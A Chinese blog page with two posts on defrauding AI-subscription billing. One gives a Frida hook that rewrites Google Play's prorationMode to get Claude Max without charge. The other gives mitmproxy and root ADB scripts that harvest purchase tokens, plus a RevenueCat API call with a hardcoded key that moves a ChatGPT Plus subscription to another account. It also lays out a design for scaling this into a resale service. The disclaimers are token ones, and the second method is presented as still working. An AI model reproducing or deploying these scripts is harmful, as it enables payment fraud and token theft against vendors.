安全研究 on 逍遥笔记

Google Play 内购 CC Max 漏洞深度拆解 — 一个 Bundle.putInt 就能白嫖 $250/月的 Claude Max

Wed, 22 Jul 2026 10:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。本文描述的漏洞已于 2026 年 7 月被修复。任何利用类似手段对正式服务进行未授权操作属违法行为，后果自负。

部分思路来自 cctest.ai 作者，在此致谢。

0x00 背景：$20 的 Pro，$250 的 Max，中间差了一个 hook

Claude 的 Android 客户端走 Google Play 内购（Google Play Billing Library）处理订阅。价格梯度大概是这样：

方案	月费
Pro	$20
Max 5x	$125
Max 20x	$250

正常流程：你是 Pro 用户，想升级到 Max，Google Play 会按剩余天数计算差价，立刻从你的信用卡上扣。

但如果我告诉你，有个参数决定了 Google Play 对这笔"升级"收不收钱呢？

而且这个参数，就是 Android Bundle 里一个普普通通的 putInt 调用？

0x01 prorationMode：Google Play 里最被低估的攻击面

Google Play Billing Library 在处理订阅升/降级时，有个参数叫 prorationMode（比例分配模式），定义在 BillingFlowParams.SubscriptionUpdateParams 里。它决定了用户切换订阅方案时的扣费逻辑：

值	常量名	行为
0	UNKNOWN_SUBSCRIPTION_UPGRADE_DOWNGRADE_POLICY	未知
1	WITH_TIME_PRORATION	按剩余时间折算差价，立刻扣费
2	CHARGE_PRORATED_PRICE	按比例收取差价
3	WITHOUT_PRORATION	立刻升级，本周期不收费，下个周期按新价扣
5	CHARGE_FULL_PRICE	立刻全额扣费
6	DEFERRED	延迟到下个周期才生效

重点关注 3 — WITHOUT_PRORATION：Google 官方文档里写得很清楚，这个模式的设计意图是"让用户立刻获得高级功能，但推迟扣费到下个计费周期"。本来是给某些业务场景用的（比如试用期升级），但如果被滥用……

Claude 的客户端代码里，升级订阅时用的是模式 1（WITH_TIME_PRORATION），也就是正常的按比例扣差价。它通过 Bundle.putInt("prorationMode", 1) 把这个值传给 Google Play 的计费 Activity。

这个 Bundle.putInt 调用发生在客户端侧。客户端侧的东西，你懂的。

0x02 攻击链：Frida 一条龙

整个攻击链其实非常简洁，所有操作都在模拟器上完成。用到的工具：

MuMu 模拟器（x86_64，因为要跑 Frida server 的 x86 版本）
KernelSU（MuMu 自带，用来获取 root）
Frida 17.16.0（动态插桩框架）
特定版本的 Claude APK（v1.260330.27，在 Uptodown 可以下到历史版本）
一个能扣 $20 的美区 Google 账号
家宽 IP（避免 Google 风控拦截）

步骤拆解：

第一步：搭环境

MuMu 模拟器装好后，用它自带的 Google 安装器装上 Google 套件 + Play 商店。打开 KernelSU Manager 给 Shell 授权 root。这步没啥技术含量，MuMu 对 Google 服务兼容性比 LDPlayer 好不少。

第二步：准备 Claude APK

这里有个前置问题——你不能直接从 Play 商店装 Claude。

现在的 Android 应用普遍使用 App Bundle（AAB）格式发布，Play 商店下发的是 split APK：base.apk 加一堆按设备拆分的 config splits（ABI、密度、语言）。x86_64 模拟器拿到的 splits 跟 ARM 真机不一样，而且 split APK 不能直接 adb install 侧载。

所以需要一个经过修补、移除了 split 限制的完整 APK。实测可用的版本是 v1.260330.27，从 Uptodown 等第三方市场可以找到历史版本的完整包。关键词：“已修补 split 限制”——就是把 App Bundle 重新打包成单个 APK，绕过 Play 商店的分发限制。

还有一个连锁问题：修补过的 APK 签名跟 Google Play 原版不一致（相当于 debug 签名），Google OAuth 登录会直接拒绝——点 “Continue with Google” 没反应或者报错。解决办法很简单：用邮箱登录（Continue with email），输入 Claude 账号的邮箱和密码，完全不走 OAuth。

第三步：部署 Frida

adb push frida-server-17.16.0-android-x86_64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell su -c "setenforce 0"
adb shell su -c "/data/local/tmp/frida-server -D &"

MuMu 有个坑：它的 ADB 端口不是标准 5555，而是 5557（多开的话 5559、5561 递增）。另外 MuMu 用 houdini 做 ARM 翻译，所以 Frida 必须用 attach 模式，不能用 spawn 模式（-f 参数），否则 houdini 翻译层直接 SIGSEGV 崩掉。

第四步：注入 Hook

核心的 hook 脚本其实就干了一件事——拦截 Bundle.putInt，把 key 为 prorationMode 的值从 1 改成 3：

var Bundle = Java.use("android.os.Bundle");
Bundle.putInt.overload("java.lang.String", "int").implementation = function (key, value) {
 if (key === "prorationMode") {
 console.log("[*] 拦截 prorationMode: " + value + " → 3 [WITHOUT_PRORATION]");
 return this.putInt(key, 3); // 就这一行，价值 $230/月
 }
 return this.putInt(key, value);
};

注意启动方式——必须先手动打开 Claude，再用 -H 连接（而不是 -U），因为 MuMu 的 USB 层跟标准 Android 不一样。而且 Frida 的进程名参数必须用显示名 Claude，不能用包名 com.anthropic.claude——MuMu 上 -H 模式下 Frida 按包名是找不到进程的，只认 app_process 里注册的显示名：

adb forward tcp:27042 tcp:27042
frida -H 127.0.0.1:27042 Claude -l hook-replacement-mode.js
# 注意：用 com.anthropic.claude 会报 "unable to find process"

这里还有个细节：脚本额外拦截了 SentryNdk.loadNativeLibraries 和 SentryAndroidNdk 的初始化方法，因为 Sentry 的 native crash 上报模块在 houdini 翻译层下也会崩。不拦截的话 App 直接闪退。

除了核心的 prorationMode 拦截，脚本还 hook 了 PurchaseReceipt 的构造函数，打印 purchase_token 和 organization_id。这个 org_id 是 Anthropic 后端用来标识组织/用户的唯一 ID（格式类似 6a085918-8383-44e5-9538-c4c81c6e122b），在规模化操作时用于追踪哪个 Claude 账号绑定了哪笔 Google Play 订阅——一个 Google 账号只能给一个 Claude 账号开通订阅，org_id 就是这个映射关系的 key。

第五步：走一遍正常支付

hook 注入成功后（控制台会显示 Frida Hook 注入成功!，App 里也会弹 Toast），正常操作：

用邮箱登录 Claude 账号（不能用 Google OAuth，原因见上）
在模拟器里绑定支付卡（需要能扣 $20 的真实/虚拟信用卡）
通过 Google Play 订阅 Pro（$20/月）—— 这笔钱是真扣的

第六步：触发升级

Pro 订阅成功后，直接在 App 里点"升级到 Max"。这时候 hook 就发挥作用了：

控制台输出：

[*] 拦截 prorationMode: 1 [WITH_TIME_PRORATION] → 3 [WITHOUT_PRORATION]

同时 PurchaseReceipt 的 hook 会打印出新订阅的 org_id，确认升级已经走通了 Anthropic 后端。

Google Play 的计费页面会显示：

产品：Claude Max
价格：$250.00/month（日区显示 JP¥42,500/month）
开始日期：2026年8月20日（注意，是下个月！）
“我们将于 2026年8月20日向您收取第一笔费用”

看到了吗？因为 prorationMode 被改成了 WITHOUT_PRORATION，Google Play 认为"当前不收费，下个计费周期再扣"。点击订阅，立刻升级到 Max，卡上不会多扣一分钱。

第七步：善后

升级成功后，去 payments.google.com 把这个订阅的支付方式换成余额钱包（Google Play 余额一般是 0）或者一张空的虚拟卡，然后解绑原来的支付卡。

下个月续费的时候，余额不够或者虚拟卡扣费失败，订阅自然过期。但这一个月的 Max 你已经用上了。

$20 的成本，享受 $250 的服务。利润率 1150%。

有一个规模化的硬约束：一个 Google 账号只能给一个 Claude 账号开通订阅。想批量撸就得不断囤 Google 号——这也是为什么这条灰产链的瓶颈不在技术，而在号源。

0x03 为什么这个 bug 能成立

从技术层面分析，这个漏洞能成立需要几个条件同时满足：

1. prorationMode 由客户端决定

这是最根本的问题。Google Play Billing Library 的设计是把 prorationMode 作为客户端参数传递给 Google Play 的计费系统。Google Play 本身不会校验"这个 App 有没有资格用 WITHOUT_PRORATION 模式"——它无条件信任客户端传来的值。

这是一个经典的信任边界错误：把安全关键参数的决定权放在了不可信的客户端侧。

2. 服务端验证缺位

Claude 的后端在收到 Google Play 的订阅回调时，主要验证的是"这个 purchase token 是否有效"和"订阅是否 active"。它不会去检查 prorationMode 是什么——因为这个信息在服务端回调里根本就没有。Google Play 的 purchases.subscriptions API 返回的数据里不包含当初用的是哪个 proration mode。

3. 历史版本 APK 的可用性

新版 Claude 可能已经做了混淆或者改变了参数传递方式，但旧版本在 Uptodown 等第三方市场永远可以下到。只要 Google Play 的 Billing API 版本还兼容，旧 APK 照样能完成订阅操作。

0x04 不用 hook 的路子：速刷

值得一提的是，prorationMode hook 并不是唯一的利用方式。圈子里还流传一种叫"速刷"的打法——不需要 Frida，不需要 hook，纯靠旧版本客户端的某些行为差异来打时间差。

具体原理不在本文展开（毕竟还没被修），但核心思路类似：利用 Google Play Billing Library 旧版本在处理订阅变更时的窗口期，在扣费确认到达之前完成订阅切换。跟 prorationMode hook 相比，速刷的门槛更低（不需要 root、不需要 Frida），但成功率也更低，而且强依赖特定的历史版本 APK。

这两种方法本质上攻击的是同一个面：Google Play 对客户端行为的过度信任。

0x05 修复状态与后续

截至 2026 年 7 月，prorationMode hook 这个特定的攻击路径已被修复。从修复思路上猜测，可能的措施包括：

客户端侧：新版 Claude APK 不再使用 Bundle 明文传递 prorationMode，可能改用了加密或者服务端控制
服务端侧：在处理升级回调时增加了额外验证（比如检查 linkedPurchaseToken 的订阅金额是否合理）
Google Play 侧：Google 可能限制了 WITHOUT_PRORATION 模式的使用场景（需要应用显式在 Google Play Console 配置）

但说实话，Google Play Billing 的这个攻击面远没有被堵死。prorationMode 只是其中一个参数，BillingFlowParams 里还有其他可操控的字段。只要"客户端构建支付参数 → 传给 Google Play → Google Play 无条件执行"这个模型不变，同类问题就会持续出现。

据了解，目前仍有针对其他参数或其他 App 的类似攻击手法在流通。Google Play 内购系统的安全模型，说白了就是建立在"客户端可信"这个脆弱假设上的。

0x06 技术启示

如果你是开发者，从这个漏洞可以学到：

永远不要信任客户端传来的支付参数。即使是通过 Google Play 这种"可信"中间人，底层的 BillingFlowParams 仍然是客户端构造的。
服务端必须独立验证订阅状态。不要只检查 token 有效性，还要验证订阅的实际扣费金额（通过 purchases.subscriptions 的 priceAmountMicros 字段）与预期是否一致。
Pin APK 版本。如果你依赖客户端逻辑做安全控制，服务端应该检查客户端版本号，拒绝过旧版本的请求。

如果你是安全研究者，这个 case 是一个很好的"API 信任边界"研究样本。Google Play Billing Library 把自己定位成"安全的支付中间件"，但它实际上信任了太多来自客户端的输入。类似 Frida hook Bundle.putInt 这种低成本的攻击手段，在整个 Android 内购生态里适用面很广。

本文记录的是一个已修复的安全问题，旨在帮助开发者理解 Google Play 内购系统的安全边界。

如果你对 Android 安全、支付系统攻防感兴趣，欢迎关注博客，后续会持续更新更多分析。

GPT Plus 订阅转移全解析 - 从 Google Play Token 到一键开通的完整技术链路

Fri, 17 Jul 2026 16:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

前言

之前写了两篇关于 GPT Plus 的漏洞分析：一篇是 iOS 收据复用，一篇是 Google Play offerToken 替换实现 0 元订阅。

今天这篇不一样——我们不搞 0 元白嫖，也不搞收据复用。今天讲的是一个更优雅的思路：订阅转移。

简单说就是：A 账号在 Google Play 上正经花钱买了 Plus，但通过技术手段，把这个订阅"转"给 B 账号。B 账号什么都没付，直接变 Plus。

听起来玄乎？其实原理简单得令人发指。往下看。

免责声明：本文仅供安全研究与技术交流。未经授权的行为可能违反相关法律法规，请勿用于非法用途。

一、核心原理：为什么能"转移"？

ChatGPT Android 的订阅架构

很多人以为 GPT 的订阅是 OpenAI 自己处理的。不是。

Android 端的订阅走的是这条链路：

Google Play 支付（扣钱）
 ↓ 生成 purchase token
ChatGPT App 拿到 token
 ↓ 发送到 RevenueCat
RevenueCat 验证 token
 ↓ 通知 OpenAI
OpenAI 后端开通 Plus

中间有个关键角色：RevenueCat。它是一个第三方订阅管理平台，充当 Google Play 和 OpenAI 之间的"中间人"。

漏洞在哪？

RevenueCat 的核心 API 是 POST /v1/receipts，请求体长这样：

{
 "fetch_token": "<Google Play 的购买凭证>",
 "app_user_id": "<OpenAI 的账户 ID>",
 "product_ids": ["oai.chatgpt.plus"]
}

注意这两个参数：

参数	含义	来源
`fetch_token`	购买凭证，证明"有人付了钱"	Google Play 支付后返回
`app_user_id`	账户 ID，决定"给谁开通"	OpenAI 的 account_id

这两个参数是完全独立的。

Google Play 只管"收钱并出具凭证"——它不关心这个凭证最终给谁用。RevenueCat 只管"验证凭证并绑定到指定用户"——它不检查 app_user_id 是否就是付钱的那个人。

打个比方：你在肯德基买了个汉堡，小票给了你朋友，你朋友拿小票去柜台，柜员一扫码——嗯，小票是真的，给。至于小票是不是你朋友买的？柜员根本不看。

所以：用 A 的 token + B 的 account_id = 给 B 开 Plus。

这就是"订阅转移"的全部原理。

二、关键标识符一览

在动手之前，先搞清楚几个关键 ID：

标识符	说明	长啥样	怎么拿
fetch_token	Google Play 购买凭证	`iekllednimgnlmo...`（很长一串）	支付后拦截/ADB 提取
app_user_id	OpenAI 账户 ID	`f211fe99-83d9-4c48-b016-ee08984a592a`	调 accounts/check API
RevenueCat API Key	RC 公钥（固定值）	`goog_DPguJtknNxbQBStStwhWGRsghUw`	抓包可得，下面直接给你
product_id	订阅产品标识（固定值）	`oai.chatgpt.plus`	固定的

三、获取 purchase token（两种姿势）

Token 是核心。拿到 token，后面的事就水到渠成了。这里提供两种获取方式，难度由低到高。

方式一：MITM 代理拦截（推荐，无需 Root）

原理：在 Android 设备和 RevenueCat 服务器之间架一层代理，支付完成后 ChatGPT App 会把 token 发给 RevenueCat，我们在中间截下来。

你需要准备：

Android 设备（真机或模拟器，需装 Google Play 服务）
已登录的 Google 账号（需有支付方式或免费试用资格）
ChatGPT App
MITM 代理工具（推荐 Reqable / mitmproxy / Charles）

步骤：

Step 1：设备连接代理，安装并信任 MITM 证书。

Step 2：在代理工具中设置拦截规则：

URL 匹配: api.revenuecat.com/v1/receipts
请求方法: POST
动作: 拦截请求（Block）

Step 3：打开 ChatGPT App，用一个临时账号登录（不是目标账号！）。

Step 4：进入订阅页面 → 选择 Plus → 完成 Google Play 支付。

Step 5：支付完成后，代理工具会拦截到 POST /v1/receipts 请求。从请求体中提取 fetch_token 字段，保存。

Step 6：阻断该请求，不让它发到 RevenueCat。

为什么要阻断？因为如果让请求正常到达 RevenueCat，token 就会被"消费"掉，绑定到临时账号上，就没法转移了。

时间窗口：token 拦截后有 72 小时有效期。超时未被 Acknowledge，Google Play 会自动退款。所以别拖太久。

如果你用 mitmproxy，这里有个现成的拦截脚本：

# mitm_intercept.py — 自动拦截并保存 token
import json, time
from mitmproxy import http

TOKEN_FILE = "tokens.jsonl"

class RevenueCatInterceptor:
 def request(self, flow: http.HTTPFlow):
 if (flow.request.pretty_url.endswith("/v1/receipts")
 and flow.request.method == "POST"):
 try:
 body = json.loads(flow.request.get_text())
 fetch_token = body.get("fetch_token", "")
 if fetch_token:
 record = {
 "fetch_token": fetch_token,
 "original_user_id": body.get("app_user_id", ""),
 "captured_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
 "used": False
 }
 with open(TOKEN_FILE, "a") as f:
 f.write(json.dumps(record) + "\n")
 print(f"[+] Token captured: {fetch_token[:40]}...")

 # 返回伪造响应，阻断真实请求
 flow.response = http.Response.make(
 200,
 json.dumps({"subscriber": {"entitlements": {}}}),
 {"Content-Type": "application/json"}
 )
 except Exception as e:
 print(f"[-] Parse error: {e}")

addons = [RevenueCatInterceptor()]
# 启动: mitmproxy -s mitm_intercept.py -p 8888

跑起来之后，每次支付完成，token 就自动保存到 tokens.jsonl，一条一行，干净利落。

方式二：ADB 直读 Google Play 数据库（需要 Root）

原理：Google Play 的购买记录存在本地 SQLite 数据库 library.db 里。Root 设备可以直接把数据库拉出来，用 SQL 查 token。

这个方法的好处是不需要实时拦截——支付完成后随时都能提取。坏处是需要 Root。

完整提取脚本：

"""
read_purchase_token.py
通过 ADB 从 Google Play library.db 读取 ChatGPT 购买 Token
"""
import os, json, time, sqlite3, tempfile, subprocess

OUTPUT_FILE = "purchases.txt"
DB_SRC = "/data/data/com.android.vending/databases/library.db"
DB_SDCARD = "/sdcard/.tmp_read_token.db"
DEVICE_SERIAL = "" # 留空自动选第一台设备

def adb(*args, timeout=15):
 cmd = ["adb"]
 if DEVICE_SERIAL:
 cmd += ["-s", DEVICE_SERIAL]
 cmd += list(args)
 try:
 r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
 return r.returncode, (r.stdout + r.stderr).strip()
 except FileNotFoundError:
 return -1, "adb not found"

def read_token():
 tmp_path = None
 try:
 # Step 1: 用 root 权限把数据库复制到 sdcard
 code, out = adb("shell",
 f"su -c 'cp {DB_SRC} {DB_SDCARD} && chmod 644 {DB_SDCARD} && echo DONE'")
 if code != 0 or "DONE" not in out:
 print("复制失败，请确认设备已 Root")
 return

 # Step 2: pull 到本地
 _, tmp_path = tempfile.mkstemp(suffix=".db")
 adb("pull", DB_SDCARD, tmp_path)

 # Step 3: SQLite 查询
 conn = sqlite3.connect(tmp_path)
 cur = conn.cursor()

 # 自动识别表结构
 cur.execute("PRAGMA table_info(ownership)")
 cols = [r[1] for r in cur.fetchall()]

 # 找 JSON 数据列
 json_candidates = ["inapp_purchase_data", "purchase_data", "value", "data"]
 json_col = next((c for c in json_candidates if c in cols), None)
 doc_col = "doc_id" if "doc_id" in cols else cols[3]

 # 查 ChatGPT 相关购买记录
 sql = f"""
 SELECT account, {doc_col}, {json_col}
 FROM ownership
 WHERE ({doc_col} LIKE '%openai%' OR {doc_col} LIKE '%chatgpt%')
 AND {json_col} IS NOT NULL
 ORDER BY rowid DESC
 """
 rows = cur.execute(sql).fetchall()
 conn.close()

 # Step 4: 解析并保存 token
 saved = set()
 for row in rows:
 email = str(row[0]) if row[0] else "unknown"
 raw_json = str(row[2]) if row[2] else ""
 if "purchaseToken" not in raw_json:
 continue
 data = json.loads(raw_json)
 token = data.get("purchaseToken", "")
 order = data.get("orderId", "")
 if not token or token in saved:
 continue
 saved.add(token)

 entry = f"{time.strftime('%Y-%m-%d %H:%M:%S')} | {email} | {order} | {token}\n"
 with open(OUTPUT_FILE, "a") as f:
 f.write(entry)
 print(f"邮箱: {email}")
 print(f"Order: {order}")
 print(f"Token: {token[:60]}...")
 print(f"已保存 -> {OUTPUT_FILE}")

 print(f"共保存 {len(saved)} 条")
 finally:
 if tmp_path:
 os.unlink(tmp_path)
 adb("shell", f"rm -f {DB_SDCARD}")

if __name__ == "__main__":
 read_token()

这段代码做了什么？

一步步拆解：

su -c 'cp ...' — Google Play 的数据库在 /data/data/com.android.vending/ 下，普通权限读不了，必须用 su（Root）复制到 sdcard
adb pull — 把数据库从手机拉到电脑上
SQLite 查询 — ownership 表存了所有购买记录，用 LIKE '%chatgpt%' 过滤出 ChatGPT 相关的
JSON 解析 — 购买数据是 JSON 格式存的，里面有 purchaseToken 和 orderId

数据库的 ownership 表结构大概长这样：

列名	类型	说明
account	TEXT	Google 账号邮箱
doc_id	TEXT	应用包名+产品ID
inapp_purchase_data	TEXT	JSON 格式的购买数据

JSON 里面关键字段：

{
 "orderId": "GPA.3305-3747-1234-56789",
 "packageName": "com.openai.chatgpt",
 "productId": "oai.chatgpt.plus",
 "purchaseTime": 1720000000000,
 "purchaseState": 0,
 "purchaseToken": "iekllednimgnlmo...（很长一串）",
 "quantity": 1,
 "acknowledged": false,
 "autoRenewing": true
}

purchaseToken 就是我们要的东西。拿到它，就能"转移"订阅。

四、获取目标账号的 account_id

Token 到手了，接下来要知道"转给谁"——也就是目标 GPT 账号的 account_id。

API 调用：

GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27
Authorization: Bearer <目标账号的 JWT Token>

响应里有个 account_id 字段，UUID 格式：

{
 "account_id": "f211fe99-83d9-4c48-b016-ee08984a592a",
 "email": "target@example.com",
 ...
}

怎么拿 JWT Token？

最简单的方式：浏览器登录 ChatGPT → 访问 https://chatgpt.com/api/auth/session → 响应里有 accessToken。

或者直接让用户给你 Session JSON，你从里面解析 account.id。

五、执行转移

Token 有了，account_id 有了，最后一步：调 RevenueCat API，把 token 绑到目标账号上。

完整转移脚本

import requests
import json

url = "https://api.revenuecat.com/v1/receipts"

headers = {
 "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/BP4A.260205.001)",
 "Content-Type": "application/json",
 "X-Platform": "android",
 "X-Platform-Flavor": "native",
 "X-Platform-Version": "36",
 "X-Version": "9.22.1",
 "X-Client-Bundle-ID": "com.openai.chatgpt",
 "X-Observer-Mode-Enabled": "false",
 "X-Custom-Entitlements-Computation": "true",
 "X-Storefront": "US",
 "Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw",
 "X-RevenueCat-ETag": ""
}

data = {
 "fetch_token": "<你拿到的 purchase token>",
 "product_ids": ["oai.chatgpt.plus"],
 "platform_product_ids": [{"product_id": "oai.chatgpt.plus"}],
 "app_user_id": "<目标账号的 account_id>",
 "is_restore": True,
 "observer_mode": False,
 "purchase_completed_by": "revenuecat",
 "initiation_source": "unsynced_active_purchases",
 "sdk_originated": False,
 "payload_version": 1
}

response = requests.post(url, headers=headers, data=json.dumps(data, separators=(',', ':')))

if response.status_code == 200:
 result = response.json()
 subscriber = result.get("subscriber", {})
 entitlements = subscriber.get("entitlements", {})
 subscriptions = subscriber.get("subscriptions", {})

 if "chatgpt_plus" in entitlements:
 ent = entitlements["chatgpt_plus"]
 print("=" * 50)
 print("充值成功！")
 print("=" * 50)
 print(f" 账号 ID : {subscriber.get('original_app_user_id')}")
 print(f" 到期时间 : {ent.get('expires_date')}")
 print(f" 产品标识 : {ent.get('product_identifier')}")

 for pid, sub in subscriptions.items():
 price = sub.get("price", {})
 print(f" 价格 : {price.get('amount', '?')} {price.get('currency', '')}")
 print(f" 订阅类型 : {sub.get('period_type')}")
 print(f" 是否沙盒 : {'是' if sub.get('is_sandbox') else '否'}")
 else:
 print("未找到 chatgpt_plus 权益，可能失败了")
 print(json.dumps(result, indent=2, ensure_ascii=False))
else:
 print(f"请求失败: {response.status_code}")
 print(response.text)

逐行拆解

Headers 部分：

"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/...)"

伪装成 Android 设备的 ChatGPT App。RevenueCat 会检查 User-Agent，用浏览器的 UA 会被拒。

"Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw"

这不是用户的 token，这是 RevenueCat 的 公共 API Key。每个使用 RevenueCat 的 App 都有一个，固定不变的。ChatGPT Android 的公钥就是这个。

Body 部分：

"fetch_token": "<purchase token>" # 第三步拿到的购买凭证
"app_user_id": "<account_id>" # 第四步拿到的目标账号 ID
"is_restore": True # 告诉 RC 这是"恢复购买"，不是新购买
"initiation_source": "unsynced_active_purchases" # 来源标记

is_restore: True 是个关键细节——它告诉 RevenueCat “这不是一次新购买，而是恢复一个已有的购买”。这样 RC 不会创建新的订阅记录，而是把已有的 token 绑定到 app_user_id 指定的账号上。

成功响应长啥样？

{
 "subscriber": {
 "entitlements": {
 "chatgpt_plus": {
 "expires_date": "2026-08-17T07:13:32Z",
 "product_identifier": "oai.chatgpt.plus",
 "purchase_date": "2026-07-17T07:13:32Z"
 }
 },
 "subscriptions": {
 "oai.chatgpt.plus": {
 "period_type": "trial",
 "price": { "amount": 0.0, "currency": "JPY" },
 "store": "play_store",
 "expires_date": "2026-08-17T07:13:32Z"
 }
 },
 "management_url": "https://play.google.com/store/account/subscriptions?..."
 }
}

看到 entitlements 里有 chatgpt_plus，就说明转移成功了。expires_date 是到期时间。

六、完整流程图

┌─────────────────────────────────────────────────────┐
│ Phase 1: Token 获取 │
│ │
│ 方式A: MITM 拦截 │
│ Android + ChatGPT + Reqable/mitmproxy │
│ 完成 Google Play 支付 │
│ 拦截 POST /v1/receipts → 提取 fetch_token │
│ 阻断请求 → 保存 token (72h 有效) │
│ │
│ 方式B: ADB 直读 │
│ Root 设备 + ADB │
│ 读取 library.db → ownership 表 │
│ 解析 JSON → 提取 purchaseToken │
└───────────────────────┬─────────────────────────────┘
 │
 ▼
┌─────────────────────────────────────────────────────┐
│ Phase 2: Token 使用 │
│ │
│ 获取目标账号 account_id │
│ GET /backend-api/accounts/check │
│ 或从 Session JSON 解析 │
│ ↓ │
│ POST /v1/receipts │
│ fetch_token = 保存的 token │
│ app_user_id = 目标 account_id │
│ Authorization = RC 公钥 │
│ ↓ │
│ RevenueCat 验证 → 通知 OpenAI → Plus 开通 │
└─────────────────────────────────────────────────────┘

七、规模化：从手动到自动

手动操作一两个账号没问题，但如果要做成服务呢？这就涉及到工程化了。

架构设计

一个完整的自动化系统大概长这样：

┌──────────┐ ┌────────────┐ ┌────────────┐
│ Google │ │ 拦截层 │ │ Token │
│ 账号池 │────▶│ mitmproxy │────▶│ 队列 │
│ │ │ + ADB │ │ (FIFO) │
└──────────┘ └────────────┘ └─────┬──────┘
 │
 ▼
┌──────────┐ ┌────────────┐ ┌────────────┐
│ 目标 │ │ 充值 API │ │ CDK │
│ 账号 │◀────│ 自动提交 │◀────│ 卡密系统 │
│ │ │ RC 调用 │ │ │
└──────────┘ └────────────┘ └────────────┘

核心组件：

组件	职责	技术栈
Google 账号池	存储可用的 Google 账号	数据库
ADB 自动化	自动完成 Play 支付流程	Python + ADB
Token 队列	缓存未使用的 purchase token	数据库/消息队列
CDK 卡密系统	发放激活码给终端用户	Web 应用
充值 API	接收用户 Session，调用 RC 完成开通	后端服务

数据库设计

核心就三张表：

google_credential — 记录每次 Google Play 购买：

字段	说明
google_email	Google 账号
order_id	订单号
purchase_token	购买凭证
product_id	产品标识
acknowledged	是否已确认
status	状态（未使用/已使用/已退款）
card_key_id	关联的 CDK

card_key — CDK 卡密：

字段	说明
card_key	16位激活码
product_id	对应产品
credential_id	关联的购买凭证
status	状态（待使用/已使用/已禁用）

redeem_record — 充值记录：

字段	说明
card_key	使用的激活码
external_account_id	目标 GPT 账号 ID
status	结果（成功/失败）
expires_date	订阅到期时间

用户端流程

做成产品后，终端用户看到的是这样的流程：

用户拿到 CDK 激活码
 ↓
打开充值页面，输入激活码
 ↓
系统验证激活码有效性
 ↓
用户粘贴自己的 ChatGPT Session JSON
 ↓
系统解析 Session，提取 account_id
 ↓
系统从 Token 队列取一个 token
 ↓
调用 RevenueCat API 完成转移
 ↓
返回充值结果（成功/失败 + 到期时间）

用户全程不需要知道底层发生了什么。他只需要：

输入激活码
粘贴 Session
等几秒钟

八、风控与注意事项

时间约束

约束	时限	后果
Token 未 Acknowledge	72 小时	Google Play 自动退款
RC 提交后自动 Acknowledge	立即	Token 被消费，无法再用

所以：token 拦截后必须在 3 天内使用。提交给 RevenueCat 后就立即被 Acknowledge，相当于"消费"掉了。

一 token 一账号

purchase token 一旦提交给 RevenueCat 并被 Acknowledge，就标记为"已消费"。不能重复使用。一次支付 = 一个 token = 开通一个账号。

这跟之前 iOS 收据复用漏洞不同——iOS 那个是同一张收据能反复用，Android 这个不行。

X-Post-Params-Hash

抓包时你可能注意到请求头里有个 X-Post-Params-Hash，格式：

app_user_id,fetch_token:sha256:<hash值>

这个是 app_user_id 和 fetch_token 拼接后的 SHA256。换了 account_id 后需要重新算。

但经过实测：服务端不校验这个值。随便填或者留空都不影响结果。RevenueCat 可能是为了调试保留的字段，并没有做服务端校验。

同样，X-Nonce 这个字段也不校验。

风控分析

风控点	风险	说明
RevenueCat 服务端	低	只验 token 真假，不检查 app_user_id 匹配
Google Play 退款检测	中	频繁退款/争议可能被 Google 封号
OpenAI 行为分析	低	OpenAI 后端只看 RC 返回的订阅状态
Google 账号风控	中	同一账号频繁订阅/退订会被标记

Google 账号消耗

如果走的是免费试用路径（period_type: "trial", price: 0.0）：

每个 Google 账号对 oai.chatgpt.plus 只有 1 次免费试用机会
试用后该账号永久标记为"已使用试用"
N 个 token 需要 N 个 Google 账号

如果走的是付费订阅路径：

Token 被拦截未 Acknowledge → 72h 后自动退款 → 理论上可重新购买
但频繁操作会触发 Google 风控
建议每个账号不超过 3-5 次循环

九、与 iOS 收据漏洞的对比

很多人会把这个和 iOS 收据复用搞混，这里做个对比：

维度	iOS 收据复用	Android Token 转移
支付平台	App Store	Google Play
中间层	直接对接 OpenAI	经过 RevenueCat
核心资产	iOS receipt（Base64）	purchase token
能否复用	能，一张收据开无数账号	不能，一个 token 只能用一次
成本模型	一次付费 → 无限开通	一次付费 → 一次开通
获取难度	需要 iOS 设备 + 拦截	Android + MITM 或 Root
修复状态	部分修复	未修复

Android 这个转移漏洞的成本比 iOS 高（每开一个账号都需要一个新 token），但胜在稳定——因为它利用的是 RevenueCat 的设计缺陷，不是简单的验证遗漏，修起来牵涉面更广。

十、总结

整条攻击链路其实非常清晰：

Google Play 支付 → 拦截 purchase token → 阻断 RevenueCat 回调
 ↓
目标账号 account_id ← Session 解析 ← 用户提交
 ↓
POST /v1/receipts (token + account_id) → RevenueCat 验证
 ↓
 OpenAI 开通 Plus

漏洞本质：RevenueCat 作为订阅中间层，在验证 purchase token 时不检查 app_user_id 与实际付款人的对应关系。它只关心两件事：token 是不是真的、token 有没有被用过。至于"谁付的钱"和"给谁开通"是不是同一个人——它不在乎。

为什么 OpenAI 不修？ 大概率不是不能修，而是不值得。要修这个洞，要么放弃 RevenueCat 自建订阅系统（工程量巨大），要么在 RevenueCat 侧增加 app_user_id 校验（需要 RC 配合改 API）。对于一个 B 端收入占大头的公司来说，个人订阅的漏洞优先级确实不高。

技术要点回顾：

架构理解 — Google Play → RevenueCat → OpenAI 三层解耦
Token 获取 — MITM 拦截（简单）或 ADB 直读 library.db（需 Root）
account_id — 从 /accounts/check API 或 Session JSON 获取
API 调用 — POST /v1/receipts 携带 token + account_id
时间窗口 — 72 小时，过期自动退款

最后提醒：本文仅供技术研究和安全交流。Google Play 订阅体系的安全性问题是一个值得关注的研究方向，但请不要将本文技术用于非法用途。

参考资料

标签: #ChatGPT #GPTPlus #GooglePlay #RevenueCat #订阅转移 #Android #支付安全 #技术科普

GPT Plus 代充漏洞揭秘 - 一张收据给无数账号开 Plus 的骚操作

